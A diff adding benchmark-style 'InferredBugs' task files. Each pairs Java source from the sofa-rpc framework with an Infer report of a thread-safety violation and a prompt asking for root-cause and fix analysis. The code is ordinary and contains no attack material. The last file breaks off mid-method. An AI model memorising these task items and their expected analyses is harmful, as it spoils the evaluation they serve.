+import com.alipay.sofa.rpc.core.exception.SofaRpcRuntimeException;
+import com.alipay.sofa.rpc.ext.Extension;
+import com.alipay.sofa.rpc.invoke.Invoker;
+import com.alipay.sofa.rpc.log.Logger;
+import com.alipay.sofa.rpc.log.LoggerFactory;
+import com.alipay.sofa.rpc.server.Server;
+import org.jboss.resteasy.spi.PropertyInjector;
+import org.jboss.resteasy.spi.ResteasyDeployment;
+import org.jboss.resteasy.spi.ResteasyProviderFactory;
+
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * Rest server base on resteasy.
+ *
+ * @author <a href="mailto:zhanggeng.zg@antfin.com">GengZhang</a>
+ */
+@Extension("rest")
+public class RestServer implements Server {
+
+    /**
+     * Logger
+     */
+    private static final Logger    LOGGER     = LoggerFactory.getLogger(RestServer.class);
+
+    /**
+     * 是否已经启动
+     */
+    protected volatile boolean     started;
+
+    /**
+     * Bolt服务端
+     */
+    protected SofaNettyJaxrsServer httpServer;
+
+    /**
+     * 服务端配置
+     */
+    protected ServerConfig         serverConfig;
+
+    /**
+     * invoker数量
+     */
+    protected AtomicInteger        invokerCnt = new AtomicInteger();
+
+    @Override
+    public void init(ServerConfig serverConfig) {
+        this.serverConfig = serverConfig;
+    }
+
+    private SofaNettyJaxrsServer buildServer() {
+        // 生成Server对象
+        SofaNettyJaxrsServer httpServer = new SofaNettyJaxrsServer(serverConfig);
+
+        int bossThreads = serverConfig.getIoThreads();
+        if (bossThreads > 0) {
+            httpServer.setIoWorkerCount(bossThreads); // 其实是boss+worker线程 默认cpu*2
+        }
+        httpServer.setExecutorThreadCount(serverConfig.getMaxThreads()); // 业务线程
+        httpServer.setMaxRequestSize(serverConfig.getPayload());
+        httpServer.setHostname(serverConfig.getBoundHost());
+        httpServer.setPort(serverConfig.getPort());
+
+        ResteasyDeployment resteasyDeployment = httpServer.getDeployment();
+        resteasyDeployment.start();
+
+        ResteasyProviderFactory providerFactory = resteasyDeployment.getProviderFactory();
+        registerProvider(providerFactory);
+
+        return httpServer;
+    }
+
+    private void registerProvider(ResteasyProviderFactory providerFactory) {
+        // 注册内置
+        Set<Class> internalProviderClasses = JAXRSProviderManager.getInternalProviderClasses();
+        if (CommonUtils.isNotEmpty(internalProviderClasses)) {
+            for (Class providerClass : internalProviderClasses) {
+                providerFactory.register(providerClass);
+            }
+        }
+        // 注册自定义
+        Set<Object> customProviderInstances = JAXRSProviderManager.getCustomProviderInstances();
+        if (CommonUtils.isNotEmpty(customProviderInstances)) {
+            for (Object provider : customProviderInstances) {
+                PropertyInjector propertyInjector = providerFactory.getInjectorFactory()
+                    .createPropertyInjector(
+                        JAXRSProviderManager.getTargetClass(provider), providerFactory);
+                propertyInjector.inject(provider);
+                providerFactory.registerProviderInstance(provider);
+            }
+        }
+
+        if (LOGGER.isDebugEnabled()) {
+            Set pcs = providerFactory.getProviderClasses();
+            StringBuilder sb = new StringBuilder();
+            sb.append("\ndefault-providers:\n");
+
+            for (Object provider : pcs) {
+                sb.append("  ").append(provider).append("\n");
+            }
+            LOGGER.debug(sb.toString());
+        }
+    }
+
+    @Override
+    public void start() {
+        if (started) {
+            return;
+        }
+        synchronized (this) {
+            if (started) {
+                return;
+            }
+            // 绑定到端口
+            try {
+                httpServer = buildServer();
+                httpServer.start();
+                if (LOGGER.isInfoEnabled()) {
+                    LOGGER.info("Start the http rest server at port {}", serverConfig.getPort());
+                }
+            } catch (Exception e) {
+                throw new SofaRpcRuntimeException(
+                    "Failed to start jetty server at port " + serverConfig.getPort() + ", cause: " + e.getMessage(), e);
+            }
+            started = true;
+        }
+    }
+
+    @Override
+    public boolean isStarted() {
+        return started;
+    }
+
+    @Override
+    public boolean hasNoEntry() {
+        return false;
+    }
+
+    @Override
+    public void stop() {
+        if (!started) {
+            return;
+        }
+        try {
+            // 关闭端口，不关闭线程池
+            if (LOGGER.isInfoEnabled()) {
+                LOGGER.info("Stop the http rest server at port {}", serverConfig.getPort());
+            }
+            httpServer.stop();
+            httpServer = null;
+        } catch (Exception e) {
+            LOGGER.error("Stop the http rest server at port " + serverConfig.getPort() + " error !", e);
+        }
+        started = false;
+    }
+
+    @Override
+    public void registerProcessor(ProviderConfig providerConfig, Invoker instance) {
+        if (!isStarted()) {
+            start();
+        }
+        // 在httpserver中注册此jaxrs服务
+        if (LOGGER.isInfoEnabled()) {
+            LOGGER.info("Register jaxrs service to base url http://" + serverConfig.getHost() + ":"
+                + serverConfig.getPort() + serverConfig.getContextPath());
+        }
+        try {
+            httpServer.getDeployment().getRegistry()
+                .addResourceFactory(new SofaResourceFactory(providerConfig), serverConfig.getContextPath());
+
+            invokerCnt.incrementAndGet();
+        } catch (Exception e) {
+            LOGGER.error("Register jaxrs service error", e);
+        }
+    }
+
+    @Override
+    public void unRegisterProcessor(ProviderConfig providerConfig, boolean closeIfNoEntry) {
+        if (!isStarted()) {
+            return;
+        }
+        if (LOGGER.isInfoEnabled()) {
+            LOGGER.info("Unregister jaxrs service to port {} and base path is {}", serverConfig.getPort(),
+                serverConfig.getContextPath());
+        }
+        try {
+            httpServer.getDeployment().getRegistry()
+                .removeRegistrations(providerConfig.getRef().getClass(), serverConfig.getContextPath());
+            invokerCnt.decrementAndGet();
+        } catch (Exception e) {
+            LOGGER.error("Unregister jaxrs service error", e);
+        }
+        // 如果最后一个需要关闭，则关闭
+        if (closeIfNoEntry && invokerCnt.get() == 0) {
+            stop();
+        }
+    }
+
+    @Override
+    public void destroy() {
+        stop();
+    }
+
+    @Override
+    public void destroy(DestroyHook hook) {
+        hook.preDestroy();
+        destroy();
+        hook.postDestroy();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.alipay.sofa.rpc.server.rest.RestServer.stop` writes to field `this.com.alipay.sofa.rpc.server.rest.RestServer.httpServer` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RestServer.stop()
+
+### Procedure Id:
+com.alipay.sofa.rpc.server.rest.RestServer.stop():void.59af57e6e49148ca6857406346f94b27
+
+### File:
+extension-impl/remoting-resteasy/src/main/java/com/alipay/sofa/rpc/server/rest/RestServer.java
+
+### Key:
+RestServer.java|stop|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+705e0ffb0309353c9f4ab2b5468ab388
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9275/instruction.md b/inferredbugs-9275/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..66cb9f6f83a6f0dcd6cbfd21853c2df5f9237a16
--- /dev/null
+++ b/inferredbugs-9275/instruction.md
@@ -0,0 +1,268 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-rpc
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.rpc.bootstrap;
+
+import com.alipay.sofa.rpc.client.ClientProxyInvoker;
+import com.alipay.sofa.rpc.client.Cluster;
+import com.alipay.sofa.rpc.common.RemotingConstants;
+import com.alipay.sofa.rpc.config.ConfigUniqueNameGenerator;
+import com.alipay.sofa.rpc.context.BaggageResolver;
+import com.alipay.sofa.rpc.context.RpcInternalContext;
+import com.alipay.sofa.rpc.context.RpcInvokeContext;
+import com.alipay.sofa.rpc.core.exception.SofaRpcRuntimeException;
+import com.alipay.sofa.rpc.core.invoke.SendableResponseCallback;
+import com.alipay.sofa.rpc.core.invoke.SofaResponseCallback;
+import com.alipay.sofa.rpc.core.request.SofaRequest;
+import com.alipay.sofa.rpc.core.response.SofaResponse;
+import com.alipay.sofa.rpc.message.ResponseFuture;
+
+import static com.alipay.sofa.rpc.common.RpcConstants.HIDDEN_KEY_INVOKE_CONTEXT;
+import static com.alipay.sofa.rpc.common.RpcConstants.HIDDEN_KEY_PINPOINT;
+import static com.alipay.sofa.rpc.common.RpcConstants.INTERNAL_KEY_APP_NAME;
+import static com.alipay.sofa.rpc.common.RpcConstants.INTERNAL_KEY_PROTOCOL_NAME;
+import static com.alipay.sofa.rpc.common.RpcConstants.INTERNAL_KEY_RESULT_CODE;
+import static com.alipay.sofa.rpc.common.RpcConstants.SERIALIZE_HESSIAN;
+import static com.alipay.sofa.rpc.common.RpcConstants.SERIALIZE_HESSIAN2;
+import static com.alipay.sofa.rpc.common.RpcConstants.SERIALIZE_JAVA;
+import static com.alipay.sofa.rpc.common.RpcConstants.SERIALIZE_PROTOBUF;
+
+/**
+ * 默认调用端代理执行器
+ *
+ * @author <a href="mailto:zhanggeng.zg@antfin.com">GengZhang</a>
+ */
+public class DefaultClientProxyInvoker extends ClientProxyInvoker {
+
+    /**
+     * 缓存接口名
+     */
+    private String serviceName;
+
+    /**
+     * 缓存序列化类型
+     */
+    private Byte   serializeType;
+
+    /**
+     * 构造执行链
+     *
+     * @param bootstrap 调用端配置
+     */
+    public DefaultClientProxyInvoker(ConsumerBootstrap bootstrap) {
+        super(bootstrap);
+        cacheCommonData();
+    }
+
+    private void cacheCommonData() {
+        // 缓存数据
+        this.serviceName = ConfigUniqueNameGenerator.getUniqueName(consumerConfig);
+        this.serializeType = parseSerializeType(consumerConfig.getSerialization());
+    }
+
+    private Byte parseSerializeType(String serialization) {
+        Byte serializeType;
+        if (SERIALIZE_HESSIAN.equals(serialization)
+            || SERIALIZE_HESSIAN2.equals(serialization)) {
+            serializeType = RemotingConstants.SERIALIZE_CODE_HESSIAN;
+        } else if (SERIALIZE_PROTOBUF.equals(serialization)) {
+            serializeType = RemotingConstants.SERIALIZE_CODE_PROTOBUF;
+        } else if (SERIALIZE_JAVA.equals(serialization)) {
+            serializeType = RemotingConstants.SERIALIZE_CODE_JAVA;
+        } else {
+            throw new SofaRpcRuntimeException("Unsupported serialization type");
+        }
+        return serializeType;
+    }
+
+    @Override
+    protected void decorateRequest(SofaRequest request) {
+        // 公共的设置
+        super.decorateRequest(request);
+
+        // 缓存是为了加快速度
+        request.setTargetServiceUniqueName(serviceName);
+        request.setSerializeType(serializeType);
+
+        if (!consumerConfig.isGeneric()) {
+            // 找到调用类型， generic的时候类型在filter里进行判断
+            request.setInvokeType(consumerConfig.getMethodInvokeType(request.getMethodName()));
+        }
+
+        RpcInvokeContext invokeCtx = RpcInvokeContext.peekContext();
+        RpcInternalContext internalContext = RpcInternalContext.getContext();
+        if (invokeCtx != null) {
+            // 如果用户设置了调用级别回调函数
+            SofaResponseCallback responseCallback = invokeCtx.getResponseCallback();
+            if (responseCallback != null) {
+                request.setSofaResponseCallback(responseCallback);
+                invokeCtx.setResponseCallback(null); // 一次性用完
+                invokeCtx.put(RemotingConstants.INVOKE_CTX_IS_ASYNC_CHAIN,
+                    isSendableResponseCallback(responseCallback));
+            }
+            // 如果用户设置了调用级别超时时间
+            Integer timeout = invokeCtx.getTimeout();
+            if (timeout != null) {
+                request.setTimeout(timeout);
+                invokeCtx.setTimeout(null);// 一次性用完
+            }
+            // 如果用户指定了调用的URL
+            String targetURL = invokeCtx.getTargetURL();
+            if (targetURL != null) {
+                internalContext.setAttachment(HIDDEN_KEY_PINPOINT, targetURL);
+                invokeCtx.setTargetURL(null);// 一次性用完
+            }
+            // 如果用户指定了透传数据
+            if (RpcInvokeContext.isBaggageEnable()) {
+                // 需要透传
+                BaggageResolver.carryWithRequest(invokeCtx, request);
+                internalContext.setAttachment(HIDDEN_KEY_INVOKE_CONTEXT, invokeCtx);
+            }
+        }
+        if (RpcInternalContext.isAttachmentEnable()) {
+            internalContext.setAttachment(INTERNAL_KEY_APP_NAME, consumerConfig.getAppName());
+            internalContext.setAttachment(INTERNAL_KEY_PROTOCOL_NAME, consumerConfig.getProtocol());
+        }
+
+        // 额外属性通过HEAD传递给服务端
+        request.addRequestProp(RemotingConstants.HEAD_APP_NAME, consumerConfig.getAppName());
+        request.addRequestProp(RemotingConstants.HEAD_PROTOCOL, consumerConfig.getProtocol());
+    }
+
+    @Override
+    protected void decorateResponse(SofaResponse response) {
+        // 公共的设置
+        super.decorateResponse(response);
+        // 上下文内转外
+        RpcInternalContext context = RpcInternalContext.getContext();
+        ResponseFuture future = context.getFuture();
+        RpcInvokeContext invokeCtx = null;
+        if (future != null) {
+            invokeCtx = RpcInvokeContext.getContext();
+            invokeCtx.setFuture(future);
+        }
+        if (RpcInvokeContext.isBaggageEnable()) {
+            BaggageResolver.pickupFromResponse(invokeCtx, response, true);
+        }
+        // bad code
+        if (RpcInternalContext.isAttachmentEnable()) {
+            String resultCode = (String) context.getAttachment(INTERNAL_KEY_RESULT_CODE);
+            if (resultCode != null) {
+                if (invokeCtx == null) {
+                    invokeCtx = RpcInvokeContext.getContext();
+                }
+                invokeCtx.put(RemotingConstants.INVOKE_CTX_RPC_RESULT_CODE, resultCode);
+            }
+        }
+    }
+
+    /**
+     * 是否是异步Callback，如果跨classloader下不能直接使用instanceof
+     *
+     * @param callback SofaResponseCallback
+     * @return 是否异步Callback
+     */
+    protected boolean isSendableResponseCallback(SofaResponseCallback callback) {
+        return callback instanceof SendableResponseCallback;
+    }
+
+    @Override
+    public Cluster setCluster(Cluster newCluster) {
+        Cluster old = super.setCluster(newCluster);
+        cacheCommonData();
+        return old;
+    }
+
+    @Override
+    public String toString() {
+        return consumerConfig != null ? ConfigUniqueNameGenerator.getUniqueName(consumerConfig) : super.toString();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.alipay.sofa.rpc.bootstrap.DefaultClientProxyInvoker.decorateRequest` indirectly writes to field `request.com.alipay.sofa.rpc.core.request.SofaRequest.serializeType` outside of synchronization.
+ Reporting because a superclass `class com.alipay.sofa.rpc.client.ClientProxyInvoker` is annotated `@ThreadSafe`, so we assume that this method can run in parallel with other non-private methods in the class (including itself).
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DefaultClientProxyInvoker.decorateRequest(SofaRequest)
+
+### Procedure Id:
+com.alipay.sofa.rpc.bootstrap.DefaultClientProxyInvoker.decorateRequest(com.alipay.sofa.rpc.core.req.9bd94b5ca5bdd3525d0fd6a72d87f1cb
+
+### File:
+extension-impl/extension-common/src/main/java/com/alipay/sofa/rpc/bootstrap/DefaultClientProxyInvoker.java
+
+### Key:
+DefaultClientProxyInvoker.java|decorateRequest|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+510e720bfa5ec3f2f8185d612d2a5f13
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9280/instruction.md b/inferredbugs-9280/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..13ac58fe1c404be2c25773c87a4b795c93c7a330
--- /dev/null
+++ b/inferredbugs-9280/instruction.md
@@ -0,0 +1,869 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-rpc
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.rpc.client;
+
+import com.alipay.sofa.rpc.bootstrap.ConsumerBootstrap;
+import com.alipay.sofa.rpc.common.RpcConstants;
+import com.alipay.sofa.rpc.common.utils.ClassUtils;
+import com.alipay.sofa.rpc.common.utils.CommonUtils;
+import com.alipay.sofa.rpc.common.utils.StringUtils;
+import com.alipay.sofa.rpc.config.ConsumerConfig;
+import com.alipay.sofa.rpc.context.AsyncRuntime;
+import com.alipay.sofa.rpc.context.RpcInternalContext;
+import com.alipay.sofa.rpc.context.RpcRuntimeContext;
+import com.alipay.sofa.rpc.core.exception.RpcErrorType;
+import com.alipay.sofa.rpc.core.exception.SofaRouteException;
+import com.alipay.sofa.rpc.core.exception.SofaRpcException;
+import com.alipay.sofa.rpc.core.exception.SofaRpcRuntimeException;
+import com.alipay.sofa.rpc.core.invoke.SofaResponseCallback;
+import com.alipay.sofa.rpc.core.request.SofaRequest;
+import com.alipay.sofa.rpc.core.response.SofaResponse;
+import com.alipay.sofa.rpc.event.EventBus;
+import com.alipay.sofa.rpc.event.ProviderInfoAddEvent;
+import com.alipay.sofa.rpc.event.ProviderInfoRemoveEvent;
+import com.alipay.sofa.rpc.event.ProviderInfoUpdateAllEvent;
+import com.alipay.sofa.rpc.event.ProviderInfoUpdateEvent;
+import com.alipay.sofa.rpc.filter.ConsumerInvoker;
+import com.alipay.sofa.rpc.filter.FilterChain;
+import com.alipay.sofa.rpc.listener.ConsumerStateListener;
+import com.alipay.sofa.rpc.log.LogCodes;
+import com.alipay.sofa.rpc.log.Logger;
+import com.alipay.sofa.rpc.log.LoggerFactory;
+import com.alipay.sofa.rpc.message.ResponseFuture;
+import com.alipay.sofa.rpc.transport.ClientTransport;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static com.alipay.sofa.rpc.client.ProviderInfoAttrs.ATTR_TIMEOUT;
+import static com.alipay.sofa.rpc.common.RpcConfigs.getIntValue;
+import static com.alipay.sofa.rpc.common.RpcOptions.CONSUMER_INVOKE_TIMEOUT;
+
+/**
+ * Abstract cluster, contains router chain, filter chain, address holder, connection holder and load balancer.
+ *
+ * @author <a href=mailto:zhanggeng.zg@antfin.com>GengZhang</a>
+ */
+public abstract class AbstractCluster extends Cluster {
+
+    /**
+     * slf4j Logger for this class
+     */
+    private final static Logger LOGGER = LoggerFactory.getLogger(AbstractCluster.class);
+
+    /**
+     * 构造函数
+     *
+     * @param consumerBootstrap 服务端消费者启动器
+     */
+    public AbstractCluster(ConsumerBootstrap consumerBootstrap) {
+        super(consumerBootstrap);
+    }
+
+    /**
+     * 是否已启动(已建立连接)
+     */
+    protected volatile boolean initialized   = false;
+
+    /**
+     * 是否已经销毁（已经销毁不能再继续使用）
+     */
+    protected volatile boolean destroyed     = false;
+
+    /**
+     * 当前Client正在发送的调用数量
+     */
+    protected AtomicInteger    countOfInvoke = new AtomicInteger(0);
+
+    /**
+     * 路由列表
+     */
+    protected RouterChain      routerChain;
+    /**
+     * 负载均衡接口
+     */
+    protected LoadBalancer     loadBalancer;
+    /**
+     * 地址保持器
+     */
+    protected AddressHolder    addressHolder;
+    /**
+     * 连接管理器
+     */
+    protected ConnectionHolder connectionHolder;
+    /**
+     * 过滤器链
+     */
+    protected FilterChain      filterChain;
+
+    @Override
+    public synchronized void init() {
+        if (initialized) { // 已初始化
+            return;
+        }
+        // 构造Router链
+        routerChain = RouterChain.buildConsumerChain(consumerBootstrap);
+        // 负载均衡策略 考虑是否可动态替换？
+        loadBalancer = LoadBalancerFactory.getLoadBalancer(consumerBootstrap);
+        // 地址管理器
+        addressHolder = AddressHolderFactory.getAddressHolder(consumerBootstrap);
+        // 连接管理器
+        connectionHolder = ConnectionHolderFactory.getConnectionHolder(consumerBootstrap);
+        // 构造Filter链,最底层是调用过滤器
+        this.filterChain = FilterChain.buildConsumerChain(this.consumerConfig,
+            new ConsumerInvoker(consumerBootstrap));
+
+        if (consumerConfig.isLazy()) { // 延迟连接
+            if (LOGGER.isInfoEnabled(consumerConfig.getAppName())) {
+                LOGGER.infoWithApp(consumerConfig.getAppName(), "Connection will be initialized when first invoke.");
+            }
+        }
+
+        // 启动重连线程
+        connectionHolder.init();
+        try {
+            // 得到服务端列表
+            List<ProviderGroup> all = consumerBootstrap.subscribe();
+            if (CommonUtils.isNotEmpty(all)) {
+                // 初始化服务端连接（建立长连接)
+                updateAllProviders(all);
+            }
+        } catch (SofaRpcRuntimeException e) {
+            throw e;
+        } catch (Throwable e) {
+            throw new SofaRpcRuntimeException("Init provider's transport error!", e);
+        }
+
+        // 启动成功
+        initialized = true;
+
+        // 如果check=true表示强依赖
+        if (consumerConfig.isCheck() && !isAvailable()) {
+            throw new SofaRpcRuntimeException("The consumer is depend on alive provider " +
+                "and there is no alive provider, you can ignore it " +
+                "by ConsumerConfig.setCheck(boolean) (default is false)");
+        }
+    }
+
+    /**
+     * 检测状态
+     */
+    protected void checkClusterState() {
+        if (destroyed) { // 已销毁
+            throw new SofaRpcRuntimeException("Client has been destroyed!");
+        }
+        if (!initialized) { // 未初始化
+            init();
+        }
+    }
+
+    @Override
+    public void addProvider(ProviderGroup providerGroup) {
+        // 包装了各个组件的操作
+        addressHolder.addProvider(providerGroup);
+        connectionHolder.addProvider(providerGroup);
+        if (EventBus.isEnable(ProviderInfoAddEvent.class)) {
+            ProviderInfoAddEvent event = new ProviderInfoAddEvent(consumerConfig, providerGroup);
+            EventBus.post(event);
+        }
+    }
+
+    @Override
+    public void removeProvider(ProviderGroup providerGroup) {
+        // 包装了各个组件的操作
+        addressHolder.removeProvider(providerGroup);
+        connectionHolder.removeProvider(providerGroup);
+        if (EventBus.isEnable(ProviderInfoRemoveEvent.class)) {
+            ProviderInfoRemoveEvent event = new ProviderInfoRemoveEvent(consumerConfig, providerGroup);
+            EventBus.post(event);
+        }
+    }
+
+    @Override
+    public void updateProviders(ProviderGroup providerGroup) {
+        checkProviderInfo(providerGroup);
+        ProviderGroup oldProviderGroup = addressHolder.getProviderGroup(providerGroup.getName());
+        if (ProviderHelper.isEmpty(providerGroup)) {
+            addressHolder.updateProviders(providerGroup);
+            if (CommonUtils.isNotEmpty(oldProviderGroup.getProviderInfos())) {
+                if (LOGGER.isWarnEnabled(consumerConfig.getAppName())) {
+                    LOGGER.warnWithApp(consumerConfig.getAppName(), "Provider list is emptied, may be all " +
+                        "providers has been closed, or this consumer has been add to blacklist");
+                    closeTransports();
+                }
+            }
+        } else {
+            addressHolder.updateProviders(providerGroup);
+            connectionHolder.updateProviders(providerGroup);
+        }
+        if (EventBus.isEnable(ProviderInfoUpdateEvent.class)) {
+            ProviderInfoUpdateEvent event = new ProviderInfoUpdateEvent(consumerConfig, oldProviderGroup, providerGroup);
+            EventBus.post(event);
+        }
+    }
+
+    @Override
+    public void updateAllProviders(List<ProviderGroup> providerGroups) {
+        List<ProviderGroup> oldProviderGroups = new ArrayList<ProviderGroup>(addressHolder.getProviderGroups());
+        int count = 0;
+        if (providerGroups != null) {
+            for (ProviderGroup providerGroup : providerGroups) {
+                checkProviderInfo(providerGroup);
+                count += providerGroup.size();
+            }
+        }
+        if (count == 0) {
+            Collection<ProviderInfo> currentProviderList = currentProviderList();
+            addressHolder.updateAllProviders(providerGroups);
+            if (CommonUtils.isNotEmpty(currentProviderList)) {
+                if (LOGGER.isWarnEnabled(consumerConfig.getAppName())) {
+                    LOGGER.warnWithApp(consumerConfig.getAppName(), "Provider list is emptied, may be all " +
+                        "providers has been closed, or this consumer has been add to blacklist");
+                    closeTransports();
+                }
+            }
+        } else {
+            addressHolder.updateAllProviders(providerGroups);
+            connectionHolder.updateAllProviders(providerGroups);
+        }
+        if (EventBus.isEnable(ProviderInfoUpdateAllEvent.class)) {
+            ProviderInfoUpdateAllEvent event = new ProviderInfoUpdateAllEvent(consumerConfig, oldProviderGroups,
+                providerGroups);
+            EventBus.post(event);
+        }
+    }
+
+    /**
+     * 检测服务节点的一些信息
+     *
+     * @param providerGroup 服务列表分组
+     */
+    protected void checkProviderInfo(ProviderGroup providerGroup) {
+        List<ProviderInfo> providerInfos = providerGroup == null ? null : providerGroup.getProviderInfos();
+        if (CommonUtils.isEmpty(providerInfos)) {
+            return;
+        }
+        Iterator<ProviderInfo> iterator = providerInfos.iterator();
+        while (iterator.hasNext()) {
+            ProviderInfo providerInfo = iterator.next();
+            if (!StringUtils.equals(providerInfo.getProtocolType(), consumerConfig.getProtocol())) {
+                if (LOGGER.isWarnEnabled(consumerConfig.getAppName())) {
+                    LOGGER.warnWithApp(consumerConfig.getAppName(),
+                        "Unmatched protocol between consumer [{}] and provider [{}].",
+                        consumerConfig.getProtocol(), providerInfo.getProtocolType());
+                }
+            }
+            if (StringUtils.isEmpty(providerInfo.getSerializationType())) {
+                providerInfo.setSerializationType(consumerConfig.getSerialization());
+            }
+        }
+    }
+
+    @Override
+    public SofaResponse invoke(SofaRequest request) throws SofaRpcException {
+        SofaResponse response = null;
+        try {
+            // 做一些初始化检查，例如未连接可以连接
+            checkClusterState();
+            // 开始调用
+            countOfInvoke.incrementAndGet(); // 计数+1         
+            response = doInvoke(request);
+            return response;
+        } catch (SofaRpcException e) {
+            // 客户端收到异常（客户端自己的异常）
+            throw e;
+        } finally {
+            countOfInvoke.decrementAndGet(); // 计数-1
+        }
+    }
+
+    /**
+     * 子类实现各自逻辑的调用，例如重试等
+     *
+     * @param msg Request对象
+     * @return 调用结果
+     * @throws SofaRpcException rpc异常
+     */
+    protected abstract SofaResponse doInvoke(SofaRequest msg) throws SofaRpcException;
+
+    /**
+     * 检查服务端版本，特殊处理
+     *
+     * @param providerInfo 服务端
+     * @param request      请求对象
+     */
+    protected void checkProviderVersion(ProviderInfo providerInfo, SofaRequest request) {
+
+    }
+
+    /**
+     * 上一次连接，目前是记录整个接口的，是否需要方法级的？？
+     */
+    private volatile ProviderInfo lastProviderInfo;
+
+    /**
+     * 根据规则进行负载均衡
+     *
+     * @param message 调用对象
+     * @return 一个可用的provider
+     * @throws SofaRpcException rpc异常
+     */
+    protected ProviderInfo select(SofaRequest message) throws SofaRpcException {
+        return select(message, null);
+    }
+
+    /**
+     * 根据规则进行负载均衡
+     *
+     * @param message              调用对象
+     * @param invokedProviderInfos 已调用列表
+     * @return 一个可用的provider
+     * @throws SofaRpcException rpc异常
+     */
+    protected ProviderInfo select(SofaRequest message, List<ProviderInfo> invokedProviderInfos)
+        throws SofaRpcException {
+        // 粘滞连接，当前连接可用
+        if (consumerConfig.isSticky()) {
+            if (lastProviderInfo != null) {
+                ProviderInfo providerInfo = lastProviderInfo;
+                ClientTransport lastTransport = connectionHolder.getAvailableClientTransport(providerInfo);
+                if (lastTransport != null && lastTransport.isAvailable()) {
+                    checkAlias(providerInfo, message);
+                    return providerInfo;
+                }
+            }
+        }
+        // 原始服务列表数据 --> 路由结果
+        List<ProviderInfo> providerInfos = routerChain.route(message, null);
+        if (CommonUtils.isEmpty(providerInfos)) {
+            throw noAvailableProviderException(message.getTargetServiceUniqueName());
+        }
+        if (CommonUtils.isNotEmpty(invokedProviderInfos) && providerInfos.size() > invokedProviderInfos.size()) { // 总数大于已调用数
+            providerInfos.removeAll(invokedProviderInfos);// 已经调用异常的本次不再重试
+        }
+
+        String targetIP = null;
+        ProviderInfo providerInfo;
+        RpcInternalContext context = RpcInternalContext.peekContext();
+        if (context != null) {
+            targetIP = (String) RpcInternalContext.getContext().getAttachment(RpcConstants.HIDDEN_KEY_PINPOINT);
+        }
+        if (StringUtils.isNotBlank(targetIP)) {
+            // 如果指定了调用地址
+            providerInfo = selectPinpointProvider(targetIP, providerInfos);
+            if (providerInfo == null) {
+                // 指定的不存在
+                throw unavailableProviderException(message.getTargetServiceUniqueName(), targetIP);
+            }
+            ClientTransport clientTransport = selectByProvider(message, providerInfo);
+            if (clientTransport == null) {
+                // 指定的不存在或已死，抛出异常
